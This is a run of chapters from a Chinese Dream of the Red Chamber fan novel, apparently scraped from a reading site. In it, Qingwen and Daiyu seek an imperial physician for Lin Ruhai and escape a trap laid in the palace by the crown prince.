独臻儿为她们铺纸研墨,添香点灯,而晴雯却诸事不管,饭也不吃。她到针线房借了大绣架,并找平儿支领一匹上贡的大红哆罗呢,一心一意操持手里的活计。整个西厢静得落针可闻,宝玉见了都不敢打搅。 晴雯手不离针,眼不离丝,只是饿极渴极累极了,才肯吃喝休息,如此夜以继日一直忙活了十二个昼夜,手里的活计才大功告成。 她一双眼酸到看人都显了重影,然而一刻也不敢闭眼休息,将哆罗呢从绣绷上放下来,仔细包好,由凤姐带着两个人抬到了贾母面前。 凤姐尚未显怀,今日梳了攒珠髻,鬓间点翠生辉,精神头极好,她笑盈盈地对贾母说:“老太太,我才琢磨着下月腊八是宫里老太妃的寿诞,要送什么礼好,苦恼了好些日子。晴雯这丫头就亲绣了一块团花摩尼珠的哆罗呢地毯,您瞧瞧这手艺,比燕京八绝的盘金毯都不差了。” 贾母心头一喜,连忙叫鸳鸯架上眼镜,亲自抖开地毯一看,只见光彩射目,设色精妙,丝理圆转,细密得一毫针迹也不露,堪比旷世稀珍的绣作。 “好!好!好!”贾母连说了三个好字,吩咐鸳鸯将盘金毯搁在金丝楠木匣子里收好,拍手笑道:“这不比那俗金俗玉悦目多了,又尊贵又体面,太妃娘娘定会喜欢。” 凤姐指着跪在地下的晴雯说:“老太太你调理出的小能人,为了捯饬这地毯替咱们尽孝心,两眼都快眍?了,你老人家还不把您那宝贝匣子抬出来赏下去。” “赏!”贾母高兴极了,真让鸳鸯去开螺钿匣子。 晴雯见时机刚好,忙叩首道:“老太太,我绣这地毯不为求赏。我听王太医说,太医院正堂王老爷专能治沉疴重疾,林姑娘忧心林老爷的病,这十数日在屋里虔心抄经,孝感天地。我这才斗胆求老太太进宫献礼之时,求一求太妃娘娘,延请太医院正堂王君效老爷下扬州给林老爷治病。” 贾母、凤姐颇感意外,互相对视了一眼。 凤姐慌忙摇头,表示自己不知情,又埋怨晴雯:“你这丫头竟存了这么大的主意,事先也不与我通气,只怕林丫头那里也一点儿不知。 你年轻少见识,不知正堂老爷那是只给皇上太子诊脉的,一般皇亲国戚王公大臣想请他看病,都只能去太医院排号等班。正堂无旨不出宫,老死不出京,咱们家哪有那么大体面请他出长差呢。” 晴雯身子一歪,眼泪吧嗒吧嗒地往下掉,得一良医竟是这样艰难。 贾母见着可怜,叹道:“真是实心眼的好孩子,也真难为她想了。” “可怜她孝心诚,不枉老太太往日疼顾她了。老太太还是多赏她几件好东西吧。”凤姐擦了擦眼泪,想到晴雯这回出力,替她省下了至少三千两银子的开销,自然帮她多说几句好话。 晴雯又俯身磕头,仍旧不要赏赐:“老太太要真想赏我什么,不如准许我陪林姑娘下扬州去。”她一时想不到什么非去不可的理由,心头一热,脱口而出:“我……舍不得她走。” “真是痴丫头,林妹妹又不是一去不回,你才从太太那里得了恩典,陪姨妈家的香菱抄经,这会子又要下扬州去,太太只会怪你误事。” 凤姐也是纳闷,这丫头不要金啊玉啊的,只要个天上掉下来的林妹妹, 12. 春绾晴黛第十二回 《[红楼]春绾晴黛》全本免费阅读 永安殿恨眸窥玉颜,长乐宫苦泪忆慈亲 寅正一刻,天还未亮,贾母就起床梳洗,鸳鸯伺候她穿了一身落栗色的哆罗呢圆领大袄,围了衔玉双鞓带。一见黛玉狐裘玉袄素雅矜贵,姿仪卓然。晴雯丫髻金冠红袄蓝裙,娇俏大方,贾母微微颔首,携二人坐车前往宫中。 宫规礼仪贾母已经亲自教给了二人,如何应答太妃问话,一字一词都商榷琢磨过了,宁少勿多,就简舍繁。 一路马蹄哒哒,车轮辘辘,贾母在车中闭目养神,晴雯坐在小杌子上给贾母捶腿。黛玉坐在贾母身侧,打开怀中珐琅珍珠怀表看了看时辰,这是宝玉早上硬塞给她的东西,无非提醒她早去早回。 西洋国进贡的哆罗呢,一匹价值一二百金。公侯贵眷穿在身上是极大的尊容体面,而宫里的哆罗呢却只是拿来垫脚的,这就是权力的次第阶差。 虽说此次进宫求医,是尽人事听天命。事实上,黛玉如何不知,只有站得越高,权柄越大,能尽的人事就越多,老天才肯为你开路。 在太和门外等了半个时辰,贾母三人才得甄太妃拨冗接见。 永安殿内那条团花摩尼哆罗呢毯正铺在太妃的主位之下,足见她是十分喜欢的。 毯中宝相花与摩尼珠错落相间,寓意福禄寿喜,雨露绵延,又不失圣洁高贵,无与伦比。四隅之花,繁复精密,赏心悦目,莲花清艳灵动,牡丹雍容妩媚,正合了甄太妃浓淡相宜的韵致,可谓绽光夺目,勾魂摄魄。 晴雯之礼,正送到了甄太妃的心坎上。 甄太妃见到贾母躬身欲拜,连忙下席搀扶,亲切地道:“老姐姐你我之间还用得着这份虚礼。” 二人叙过寒温,黛玉与晴雯给太妃磕头。 “快请起。”甄太妃忙让宫娥将她们扶起,赐座上茶。 黛玉接过茶盏时,南窗之外好像闪过一双锐眼,戾气横生,让她不由脊背发凉,纤指微颤。 甄太妃见了黛玉晴雯二人之容貌,一时目露惊艳,不禁感慨道:“我见过的美人不知凡几,偏这一主一仆小小年纪仙姿风逸,灵气逼人,倒像明月携了海珠化生人间,比你们家衔玉而诞的凤凰哥儿还出色呐。” 贾母连忙陪笑道:“岂敢谬承娘娘嘉奖。” “哪里是谬奖,分明的美人坯子,半点不假的。”甄太妃拉着黛玉的手,细细问过年岁、家乡、喜好,黛玉留心答了,甄太妃得知她来自姑苏,更是欢喜,直接将腕上温润欲滴的翡翠手镯套在了她的手上。 她又问晴雯使用了何种针法技艺、花了多少功夫绣成了这地毯,晴雯也口齿清晰地答了,得到了二百金的赏赐。 “真真珠玉相生,芙蓉并蒂也不过如此了!”甄太妃啧啧称奇,拉着她们的手舍不得放:“老姐姐不如把她俩放我这儿,陪我住到过年吧。” “太妃抬爱,实不应辞。”贾母客套了一句,稳住心神,知道机会就只在自己这一句话上了。“可怜玉儿之父,我婿林如海身染重疾,沉疴难愈,只怕非正堂妙手,不能绝其本根,她明日急要回扬州探父,不能陪侍宫中,还望太妃娘娘慈心鉴原。” 黛玉不确信身后是否有人轻哼了一声,一时狐疑心起。 听了贾母的解释,甄太妃这才恍然,她起初原以为贾太君先养废了一个贾元春,困在凤藻宫做了数年无恩无宠的女史。于是想给外孙女入宫承宠铺长路,没曾想是求医来了。 太医院正堂王君效之名,也是只效力于君王之意,没有帝王之命,谁也差遣不动。 她思忖半晌,正色道:“我知道老封君的意思了,求医之事我只能代为传达给陛下,至于能不能成,我并不能作保。” 能递话到宣隆帝耳边已属不易,贾母心头一松,带着黛玉晴雯屈膝伏拜:“无论成与不成,贾家、林家都承娘娘的盛情大恩。” 宫女忙将她们扶起归座,又上了芙蓉糕、莲花饼等时新小点。 “我素来崇佛,这团花摩尼纹很合我心意,不知你两个从何处想来?”甄太妃好奇问。 黛玉看了晴雯一眼,微笑道:“我听闻浮图之慈悲,救生最大①;摩尼之喜舍,扶危最高。太妃娘娘深仁厚泽,志洁行芳,慈悲喜舍自然与团花摩尼纹最相宜。” “哎哟哟,你这话只怕没把我捧成到摩诃萨陀了。”太妃开怀大笑,手中撒漫似的,又赏赐了黛玉一顶镶珠嵌宝芙蓉冠,赐了晴雯一副翠玉水滴耳坠子。 在一片言笑晏晏中,一声微不可察的“嗤”声,又被黛玉的耳朵敏锐地捕捉到了,起先还只是怀疑,眼下她已经确信,自己正在被人不怀好意地窥视着。 而那个偷窥者,头上戴着玄青绉纱爪拉帽,发总束于囊中垂于身后,穿一件真红缂丝衮龙袍,腰系方玉蹀躞带,带中悬着一柄鎏金千里镜,外罩凤羽缎面红狐裘里的鹤氅,登着鹿皮绀底小朝靴。 正是今上钟爱的皇太子禛钰。他立在南窗下,窥望永安殿座下的金钗少女,无论她颦笑坐立,他始终流眄相随,一瞬不落地看了半个时辰。 “殿下,快走罢,再不走就撞个正着了。”太子心腹章明压低了声音说,他警惕地左右顾盼,唯恐被人发现。 然而禛钰除了一双眼珠子,直随少女的裙摆转,脚下鹿皮靴硬像生了钉子一样,纹丝不动。 直到永安殿内少女拜辞太妃,扶着外祖母款款踏出殿来。禛钰才慌忙惊醒,捧着一颗扑腾乱跳的心,转身如猫一般蹿房跃脊,悄无声息地跑了。 章明只慢了半步,竟在后头追撵不及。果不其然,半刻之后,他又被太子关在了长乐宫门外。 长乐宫是三年前薨逝的孝敏先皇后的故居,此间无人居住,只有宫娥太监每日清扫,竭力维持着皇后生前起居生活的原貌。 宫中正殿悬挂着孝敏皇后的巨幅西洋绘影,画中女子冠带整肃,裙裾飘拂,容颜鲜明婉媚,姿仪惊艳端方,唯独颦眉愁眼,略显悲凄之色,却又宛然如生。 “娘亲,我今日见到仇人之女了,不 13. 春绾晴黛第十三回 《[红楼]春绾晴黛》全本免费阅读 忍寂寞凤藻待时运,受欺辱奇门出宫闱 凤藻宫偏殿中,贾母黛玉与元春叙过温寒,贾元春已经哭成了泪人儿,拉着祖母的手久久不放,“祖母,我在这儿苦熬了八年,父亲何时才能接我出去……” “我的儿啊,再等两年罢了,你父亲仕途久无寸进,你林姑父偏又病了,咱们贾家不得不靠你撑了。”贾母抚着她的肩头,像是安慰又像是施压。 元春一味摇头,她实不愿在这金笼子里久待,“继后无宠,陛下初一应卯时,我又不得在近前伺候,祖母教我如何撑?”她心中满溢委屈,一腔积怨愤懑脱口而出。 贾母见安抚无果,也只能多温言两句,塞给她一沓银票以示关怀,元春却怄气推辞不受。 拉扯间,黛玉怕贾母为难,走过去对元春说:“大姐姐,黄河尚有澄清日,岂有人无得运时。①等得久了,三家尽归司马懿。” “三家尽归……”元春听了不由口中默默念诵,她从小通文知史,哪里不知这意思,终是平心镇定下来。 因本朝出了位圣寿太上皇,今上宣隆帝又续娶了一位皇后,后宫妃嫔就划分为三大阵营。一派是以太上皇后为首的老宫妃,一派是效忠孝敏先皇后的旧嫔妃,还有一派是继后手下讨生活的新嫔妃,这三个阵营的女人明争暗斗,互相倾轧,倒真有几分三国争霸的味道。 元春不是蠢人,慢慢也回过味来,贾母于是宽心,又叫来元春的心腹丫鬟抱琴,叮嘱了好些话,抱琴一一应了。 得了贿赂的小黄门催促她们时辰到了,不能再耽搁下去了。贾母知道无召久滞宫帷,形同谋逆,不得不狠心与元春泪别,带着黛玉与晴雯往出宫甬道上走。 迎面走来一位管事太监,只听他满脸推笑地说:“史太君留步,宫中贵人款待您去翠玲珑小憩,申时一刻赐软轿送您出宫。” 闻言贾母心头一喜,她年迈体衰,在宫中行走了许久,正是脚酸腰软的时候,因而不疑有他。只当是甄太妃的恩典,带着黛玉、晴雯两个,跟着公公绕去了翠玲珑。 翠玲珑原是江南园林中一种独特的建筑造景,通过曲折回环的走道,将三个方形的房间角部相连,形成一个既三房独立又互通的区域。贾母许久未曾进宫,还不知何时皇宫大内也造了这样的景。 此处临湖,风景优美,翠玲珑中备有书籍茶点、灯烛妆镜、甚至还有软榻衾褥供人休憩,的确是不可多得的好地方。 “座钟上才到未正,我在这里小睡半个时辰,等着娘娘的软轿来接。”贾母着实累了,吃了糕点果腹,又喝了半盏茶,不久就倒在枕上睡了。 黛玉并无胃口,只坐在玫瑰圈椅上翻看一部《昭明文选》。 晴雯休息了片刻,见此间无有宫娥太监服侍,就少了拘束感,吃了一碟点心,而后四处观摩打量。正欲推窗看湖景时,竟发现一排窗槅都打不开,直到她推到门边,竟然连唯一的出入口都被封死了。 “姑娘,我们好像被人关在这里了!”晴雯又见四下无人,心中警铃大作。方才管事太监显然只是个传话的人,不知内里详情,晴雯又窥不到他的心声,一时大意了。 黛玉放下书,将食指放在唇边,示意晴雯噤声,不要打扰老太太睡觉。 她围着翠玲珑的三个房间仔细转了一圈,又掐指一算。不由心中大骇,晴雯所言不差,她们被人关锁在这里了。 在宫中行这等鬼蜮伎俩的人,必定是对贾府有所不满,目的很可能是将她们关锁到宫门下匙的时辰,等她们无可辩驳的时候,轻则藐视宫规施以杖责,重则以谋逆论,褫官夺爵。 皇宫下匙在酉正,此时未正,如果没有软轿来接,以老太太的脚程,她们还要留一个时辰步行出宫,也就是说在一个半时辰内,她要想办法从这里出去。 晴雯性子躁,此时万分不安,想把老太太摇醒出个主意,毕竟她是超一品国公夫人,谁敢为难她老人家。 “你先别慌,我以未正时刻起一个奇门卦出来看看。”黛玉见此处并无纸笔,于是拔下髻上一枚小玉簪,沾了茶水在桌上排奇门遁甲。 她父亲不但文采过人,还深究易数,曾教儿时的她学奇门以益智,她虽不精此道,危机之时也是会用的。 “二宫木未归,六宫火未归,未时乙奇于坤上……”黛玉边画边念,随即杏眼瞪圆,手中玉簪划出长长的一道,“糟了,是三奇入墓局。果真是要困死我们。” “那可怎么办呀!”晴雯急得满地乱转,心慌后悔:“都怪我不警惕……” “晴雯安静些,我正在想办法,需要凝神静心。”黛玉神色一凛,只把晴雯吓得一哆嗦,立刻咬唇不语。 黛玉又在桌上几处圈圈点点,没过多久,就抹去了这一卦象,她先是将书架上的书全部取下来放在西南,而后把妆镜正面给盖住了。再让晴雯将红烛从正北移到西北花几上。最后黛玉与晴雯合力将书架移到了东北。 “啊,这里有出口!”晴雯看到书架挪走后的板壁上有一个光圈,嘶嘶冒风。 凑过去一看,那洞口只有七寸宽,人根本无法通过。 “是生门,但却不通,是哪里出了问题呢?”黛玉一时也想不明白,敲着太阳穴在屋中踱来踱去。 晴雯心里干着急,又怕打搅黛玉思考,只看着西洋座钟的大钟摆荡来荡去,喈喈响动,指针一格一格地往下走,还是忍不住小声提醒道:“姑娘,已经申时一刻了。” 黛玉下意识从袖中取出珐琅珍珠表一看,此时还是午时三刻,怪不得她不怎么饿。 她回头看了看那座钟,恍然大悟:“这钟的走得不准,我的卦起错了时间。”幸好宝玉给了她这块怀表,才不至于自乱阵脚。 桌上被茶水抹过一回,已不易起卦,黛玉便蹲在地上,以地砖为纸,照旧用玉簪蘸茶水起卦。 “她在地下画符召将么?”章明伏在翠玲珑顶瓦之上,往下偷瞄,因为没有了妆镜的反照,他看不清林小姐蹲在地下做什么。 只见她口中喃喃细语,跟殿下在清虚观念咒书符的时候一样,莫非她也会道家符箓纵横之术? 章明预感不妙,万一林小姐破了殿下的阵,自己只能纵火了。 此时与翠玲珑隔湖相望的水云榭外,太子禛钰正倚栏坐着,支起一根竹竿,假模假式学姜太公直钩钓鱼,眼神却兴味盎然地飘向湖对岸,自言自语道:“怎么还没动静?不会都睡觉了吧?” 水云榭中一个须 14. 春绾晴黛第十四回 《[红楼]春绾晴黛》全本免费阅读 崇明德陈情上御前,领密旨鱼服下扬州 禛钰身形微晃,一时错愕,难以置信看向王君效:“她心脏有缺,你怎么知道?” “我侄孙王济仁替她诊过数次脉,特向我求证过。”王君效拈虚沉吟道:“她阳微阴弦,寒凝心脉,气血虚衰,春秋易感外邪,不出五年就会有厥心痛了。届时你的仇不报也自报了,还白折腾什么呢!” 禛钰没由来的心慌,一把攥住王君效的手腕:“你救活她!不能让她就这么轻易死了。” 王君效见他急了,嘴角微勾,“非要我救,就先请殿下出个太子教令,将我家那个糟糠醋缸婆娘休了,我就将她娶回来救命。” “滚!”禛钰将他手臂猛地一撇,揉捏着自己的手腕道:“那小冤家是我掌中玩雀,岂容他人染指。你个糟老头子八十多了,还想老驴吃嫩草,想得美你。” “我不娶她就没法治了……”王君效正待解释实情,不防被人打断。 “王正堂,陛下传召!速去龙景殿。” 王君效颔首,向皇太子一揖告辞,跟着龙景殿的执事太监走了。 禛钰依栏袖手,向章明使了个眼色,章明会意,撮舌发出啁啾两声,随即有人向龙景殿哨探去了。 直到出了午门,贾母坐上贾府的马车,才长吁了一口气,彻底放下心来。 她心有余悸地说:“幸而玉儿机敏,北静王又来得及时,否则我们就要被困在那里出不去了。” 黛玉回忆之前的卦局,暗忖:杜门在震,困我者东宫也。联想起之前东宫莫名拔擢贾雨村进礼部的事,而今东宫又设了暗局困她们,也许是舅父们不慎开罪了皇太子,牵累到她们身上。 只是朝堂抵牾,却报复于外眷,实属下劣,足见这个太子心胸不广了。黛玉知道贾母并不干涉舅舅们的官场事,她亦不便提醒,只得忍耐着回家后,再与父亲商议对策。又思及今次请甄太妃代为求医,并无大的指望,父亲只怕沉疴难起,倘或用这事惹他忧心挂怀,那就是大不孝了。 正焦思苦虑之时,忽听得车外马蹄驰骤,有人飞马传报,“请史太君,稍住乘舆!” 赖大管家看清来人装束,正是北静王的仪卫,忙吩咐驾车的小厮道旁泊车,躬身向贾母请示。 贾母便隔帘问那仪卫:“不知小王爷还有何吩咐?” 仪卫回话道:“方才王爷在陛下面前,为林御史缓颊陈情,陛下已经着人拟旨,不日即派太医院正堂王君效下江南,为林御史疗治。还请老封君宽心,待林御史身安病退,再入宫谢恩!” 贾母闻言大喜,握住黛玉的手说:“这下好了!终是你孝感天上,为你送来了救命贵人。”而后让赖大厚赏了报信的仪卫。 黛玉也不禁潸然泪下,没曾想事情峰回路转,柳暗花明了。晴雯更是喜气盈腮,搂住黛玉给她擦眼泪,“一定会好起来的!都会好起来的!” 她可算把王君效给盼来了!等他治好了林老爷的病,她就求王君效收她为徒,哪怕要磕十天的头,她也要学针灸术救黛玉。 且说太子禛钰也收到了此等消息,心里越发不痛快,“那甄太妃说一嘴,父皇最多也就下赐一点参茸灵芝罢了,北静王偏又进来搅局,他惯会沽名钓誉,广植党羽,眼下连江南盐课也想笼络了。哼,今日孤两次栽到他手里,岂能叫他得了意。”说着就往龙景殿走。 章明唯恐太子与北静王争执,又惹陛下生气,忙道:“北静王虽是异姓王爷,在陛下面前极会承颜候色,哄得陛下今天都把鹡鸰香念珠送给了他。殿下这会子去触他的霉头,未免不智。而况林御史从前就简在帝心,如今两位贵人为其求医,陛下哪有不应的。” 禛钰煞住脚,回头睨他一眼,“你主子又不傻,还用得着你提醒。”他自有应对的办法。 如今天下虽则承平,然水旱连年,流寇鸠集,时有民乱。父皇最忧的是国库虚耗,府帑将竭。眼下淮阴患粮,霸州患马,万一战事四起,唯恐招架不住。要说天下哪儿最有钱,一个是江宁织造甄家,一个就是两淮盐税林家了。 陛下肯割爱送王君效下扬州,只怕也是要林如海送银子上京的。毕竟林如海一死,两淮盐政的窟窿可就没人补了。 他何不捡这个现成的便宜,偕同王君效微服私访,一边在淮扬搂银子充国库,一边将北静王说情的功劳一并收揽。 一来,稽查漕粮及盐课,肃清贪黩,禁绝诸弊;二来,核对历年四柱清册,罚赋匿税,充盈国库;三来…他心尖忽然闪过一道楚楚纤姿,一时岔过,不能细想。 及到了父皇面前,他顿了一下,方说:“……三来,替陛下慰问王佐之才,彰表俊彦国士。” 龙椅上的帝王淡淡“嗯”了一声,不辨喜怒未置可否,他合上手里的奏折往大案上一掷:“吾儿长大了,为母守孝三年后,也知道为父分忧了。只是你这耳朵也长得太灵了点儿。” 北静王前脚刚走,他就急不可耐的来了,网罗奇人窥视帝踪,还能不叫人揪住尾巴,他的儿子真真好本事! 闻言禛钰不由攥紧了袖中的拳头,眼观鼻鼻观心地说:“儿臣只知孝当竭力,忠则尽命。如此而已。” 皇帝抬眸看了他一眼,若有所思地说:“太子可知本朝廛市畎亩岁入多少?” 岁入,即国家一年的收入总和。 “三千万两白银。”禛钰答道。 皇帝问:“你此下江南又能收缴多少国资公帑上来?” 禛钰心头一凛,这是要他立军令状,才肯放他出宫的意思。 他扶膝下跪,挺身笃定地说:“亦是三千万两白银。” “好!吾儿有志气!”皇帝抚掌大笑,亲下龙座将禛钰扶起,拍了拍他的肩膀说:“你此去任重道远,关关难过,朕许你江南过年,端阳节回来赏午便罢了。” 禛钰心中冷笑,他不但要筹到三千万两白银,还限定在半年内完成,父皇未免也太看得起他了。 幸而他早有成算,借贾雨村之流摸清了金陵官场的黑账,又摁住了王子腾想要冒尖的苗头,留有后手,这点考验吓不倒他。 走出龙景殿,禛钰长长地舒了一口气。这皇宫禁廷中殿宇楼台,无不壮阔雄伟,蔚为大观,时有浩浩长风、荡荡清气穿殿而来,但每每让他喘不过气来的也是这里。 章明见太子面有郁色,说 15. 春绾晴黛第十五回 《[红楼]春绾晴黛》全本免费阅读 伴旧人睚眦争闲气,侍新主不辞路迢遥 贾母进宫这半晌午,绛芸轩内就出了几个事故,桩桩件件与媚人有关。不是摔坏了玛瑙碟子,就是碰倒了金丝薰笼,甚至还扯破了宝玉的袍襟。 媚人心知是有人以为自己要做琏二爷的姨娘,因而嫉恨排挤自己。想来在嫁给多官之前,这些事只能生忍了。只是宝玉为此生了许多闲气,教她心里不好受。 幸而求王正堂下江南给林姑爷治病的事已经妥了,再加上甄太妃赏了黛玉头面首饰,赏了晴雯二百金的喜讯遍传府中,冲淡了宝玉心头的不快。 众人将老太太、黛玉迎回府中,老太太高兴,又叫赖大撒了一簸箕铜钱给府里的丫鬟小厮。 晴雯送黛玉去贾母院中吃晚饭,回到绛芸轩不及卸妆,先忙着打点自己出门的行装。 秋纹跟在她身后转悠,蹭头蹭脑地说:“晴雯,你得了太妃娘娘的大恩典,可得请吃请酒呀。” 见晴雯没听到似的,只顾忙活着手里的事,对此毫无反应。碧痕在一旁,阴阳怪气地道:“快别说了,人家可是进宫见过世面的人,专洑上水。只跟出了金的凤奶奶、得了赏的林姑娘打交道,连我们爷都瞧不上呐,哪里还肯与我们这些人胡羼,没得低了身份。” “呸!她什么身份,不过与我们一样,都是奴才。”秋纹气哼哼地啐了一口。 晴雯手上一顿,深吸了一口气,方转过身来,说:“后日一早,我就要跟林姑娘回扬州去。那二百金,我留一百给我表哥娶媳妇,其余的都存在琏二奶奶那儿了,你们要什么吃的,喝的,只管问她要去。” “哟,你的赂财,谁敢找她要去!你如今得了意,也学会拿班作势了。”碧痕撇嘴,白眼儿一翻,“舍不得请客就直说,犯不着在我们跟前儿摆小姐的款。” 晴雯忍了半晌,终是动了气,从炕上站起,将自己衣箱中的钱匣掀开,把素日积攒的铜钱串子金银锞子,往地下嚯啷一声尽倒了,“这是请你们的!” 袭人在次间听了半晌,一阵叮咣乱响。唯恐事情闹大了,才出来打圆场,见一地滚的都是钱,忙蹲在地上给她捡钱,“她们只是顽话,你爱请不请,又何必动气!姑娘不愿在咱们这里待了,想去别处服侍,只管回了二爷,老太太去,谁又敢拦你不成。闹出事来,混搅不开,终归是二爷丢了脸面。” 这时,麝月扶着宝玉从贾母处回来,甫一进门就见满地是钱,而晴雯柳眉倒竖,凤眼圆瞪地站在炕上。心道:晴雯恃宠生娇也不是一天两天了,眼下得了赏又在生事作耗,还是去别处安生的好。 晴雯听了麝月的想头,越发心酸,这屋里就连老实巴交的麝月都嫌她。 宝玉舍不得林黛玉走,在席多吃了两闷酒,瞧见灯下的晴雯靓妆艳饰,薄面含嗔,只当是“怨人归不早,反把金银恼。”哪里还在意地上钱不钱的。 这一出就算闹过了,袭人收拢了钱,放到了晴雯的匣子里。晴雯只将匣子撂在炕几上,横竖不管。 袭人道:“你在林姑娘那里受用了几日,走之前也该为爷劳动一下罢。他夜里只喊晴雯,又不喊别个。”说着,努嘴向里间。 晴雯知道这是要她今晚值夜的意思,起身拿盆舀水去卸妆,“知道了,我去找媚人姐姐。” “别去。”袭人忙将她衣袖一扯,“你俩先前就闹过一通,她这几日又打坏了些东西,心里正不自在呢。你这会子若去找她搭伴值夜,她岂不嫌你耀武扬威。你素来夜卧警醒,一个人哪里忙不过来。” 晴雯嘴上答应着,卸完残妆后还是去找了媚人说话。 “姐姐在绛芸轩受了欺负,明日我还是求凤姐先把你调到别处吧。” 媚人点了点头:“你这一去还不知多久回来,我独自在这里窝着也寂寞,恰好人家又送了开发我的由头,何乐不去呢?” “针线房日夜做工太苦、茶房迎来送往的又太累,其他地方又是爷们儿的地盘,去不得。”晴雯细数这府中次一等的去处,都不甚满意。 媚人笑道:“我觉得药房清闲又安宁,你觉得如何?” 贾府药房人少清净,只需伺候几个主人们用药,而丫鬟婆子的药是由茶房代煎。 “正是呢!”晴雯也觉得药房不错,“将来我学了医术,还要多仰仗姐姐的帮衬。” “你要学医?”媚人诧异了片刻,又想到她这几日颇为亲近林姑娘,压低了声音问:“你想将来伺候林姑娘?” 晴雯点头,她已经下定了决心,也做好了打算。 “也好。”媚人拉着她的手说:“反正将来林姑娘还是要嫁给宝二爷的,你这辈子注定是伺候这一对玉儿的。” 媚人这一番话,倒让晴雯陷入了片刻的茫然。 倘若宝玉将来真与林姑娘定了,通房侍妾的位置紫鹃必要占一席,另一个不是袭人就是她了。 “万一是宝姑娘跟了宝玉呢?若是那样,我就铁了心跟林姑娘过。”晴雯赌气道,她才不想跟袭人争当宝玉的姨娘。 媚人叹道:“也不是不可能,薛家早就山穷水尽了,薛蟠吃酒赌博无所不为,昨儿薛姨妈又发卖了好几个佣人。宝姑娘每天还要做针线到三更。若是明年宝姑娘待选无望,为了挽救薛家,就得死巴着宝二爷了。” 晴雯若有所思地离开,想起先前宝钗的心机,不由一阵恶寒,缩肩拱背地走进里间,宝玉还以为她冷,掀开被子请她渥一渥。 “我不冷,爷快点睡吧。”晴雯扶他躺下,替他掖好被子,冷不防被他拉住了手,跌进帐中。 “宝玉,别闹!” “你怎么把新擦的胭脂就洗了,也不等我尝一尝。”宝玉嗅着她脸上的胰子香,惹不住猴上来,伸手摩挲。 他早与袭人、碧痕闹过,以为晴雯也会半推半就,借了酒性胆子就壮起来,去扯她的裙带。哪知晴雯反手就是一巴掌,只把他扇了个趔趄滚到床下,腿又磕到了床沿子上,疼得直咧咧。 晴雯眸色骤冷,正色道:“二爷长大了,知道男女的事了。咱们如今就把这话说明白。我为奴婢,身不由己。二爷想要,我不能不舍。可凡事都有个规矩,二爷若想沾我的身,成亲前需得老太太、太太首肯,成亲后也要宝二奶奶同意。我虽卑微,也不做偷鸡摸狗的事!” 一席话只把宝玉说得汗颜无地,欲辩无言,他又没胆子逞主子的威风,只好讪讪地睡了。 晴雯也不管他,回到自己榻上面壁而卧。 谁知李嬷嬷突然挑灯闯进来,冷着脸四下一照,宝玉问她出了何事,李嬷嬷支吾掰扯了几句谎话,就回去了。 晴雯忽然意识到,自己差点就入了袭人的圈套中。倘若她不警醒着拒了宝玉,等待她的就是上辈子被撵的命运。 怪不得人说阎王好见,小鬼难缠。面对强势霸道的凤姐她尚且能应对自如,可与袭人这样表面纯良,内心奸滑的小人朝夕相处,稍有不慎就会吃大亏。 两日后,贾母把贾琏、黛玉送出门,千叮咛万嘱咐,让他们早去早回。凤姐、宝玉则坐车将他们一行送到京城渡头。 琏二爷早就想出门逛逛,心知江南多美人,哪有不偷着乐的,又见下轿子时,黛玉身边蓦然多了位美婢,不由 16. 春绾晴黛第十六回 《[红楼]春绾晴黛》全本免费阅读 此地已属淮阴地界,待船夫、船娘将船系在野渡揽桩上,一行人就顶风冒雪地下了船。 在未找到合适地方安置之前,紫鹃晴雯都只围在黛玉身边,坐在轿中等消息。 贾府小厮骑马四处探问了半天,方圆十里,连个山庄都没有,只有临河这一家乡村野店,可供几人食宿。 眼见风雪越大,贾琏颇感为难,面呈愧色拱手问王正堂:“正堂大人,您看午食当下,这里只有荒村野店,可否屈尊将就?” 王君效摆手道:“无妨,老夫久未出京,长旅到此也是缘分。咱们到那村肆小店中沽饮几杯,闲谈慢饮也是一番野趣。” 听王正堂这么说,贾琏也宽了心,他素来于世路上好机变擅言谈的,见王君效身后站着一位锦衣少年和一位抱剑扈从,暗自打量了一番,心料他们各有来历,便揆度了言辞,请教二位尊名大姓。 禛钰与王君效对视一眼,而后谦和笑道:“王正堂是小生的曾叔祖,家父叮嘱我陪同他老人家下扬州,顺便拜访江南名士,四处游玩赏景,见见世面人情。” 贾琏拱手:“王公子好相貌,好风度,都说我家衔玉而生的堂弟皮囊好,今儿一见到王公子,相形之下,堂弟竟是拾鞋也不配了。” 他想的也简单,人吃五谷杂粮谁能不生病,王家是医官世家,多吹捧几句,结个善缘,万一将来有个好歹,也能救命不是。 身为皇太子,禛钰从小就是被奉承大的,最厌的就是阿谀谄媚之人,偏偏贾琏说的这两句话,叫他很是受用,竟没有冷脸。 “鄙姓章。”章明没有多言,直接亮出了大内侍卫的腰牌。 贾琏抱拳忙道:“失敬失敬!” 彼此又闲话了几句,贾琏安排几个小厮先去店中打扫房间,安设起居器物。 等嬷嬷们回报大堂整饬干净了,黛玉终于出了轿帘,摘下观音兜,禛钰这才偷隙瞥了她一个正脸。 为了方便赶路,她没有梳髻,只插了一枝珠簪,乌发用芙蓉冠总束,长垂于身后,纤腰楚楚回风舞雪。 大雪纷纷扬扬之下,一双含情水眸隐着几分轻愁,偏是这份忧怀之色,偏是这种简约装束,有一种瓷胎薄釉的精致与清雅,澄明冷艳,婉曼袅娜。更显得她遗世独立,超逸绝尘。 迎门牵马的小二,不由瞪直了眼,发出啧啧称赞,“瑶池仙女,天宫神妃,大概就是她这样子的了。” 这浮夸得没有根据的揄扬,让禛钰不屑地扯了扯嘴角,顺手将缰绳套在了小二脖上,努嘴道:“喂马去!” 贾琏本想在店中大堂设幔帐,挡一挡那些泥腿子的视线,谁知里头就靠南墙摆了一张柳木长桌,几条长凳,堪堪坐七八个人。 嬷嬷们忙将绣缎、绒垫铺了上去,而先来清扫的小厮回话说,三间房间太脏,还没洒扫干净,不便小姐入内休整。 贾琏气得摔鞭:“没用的东西,这点子事都干不利索!” 禛钰朝王君效使了个眼色,王君效会意,朗然笑道:“世兄别急,老夫一八旬老翁还须避什么嫌疑。只叫章侍卫和小厮们北边面壁坐罢。” 贾琏也只得作罢,王君效与禛钰、贾琏东面坐了,紫鹃、晴雯一左一右地将黛玉护在中间,坐在西边凳上。雪雁独站在北边,方便安箸布菜。嬷嬷和老婆子们则将他们围在中间。 催了几次饭菜,跑堂的才将野鸡、野兔端了两大盘,上面浓油赤酱的一大坨,又抱来一木桶腌雪里蕻炒饭,并几个粗陶海碗,交到老婆子们手中,歉声道:“客官慢用,我们这儿半年没开张了,实在没别的可吃了。” 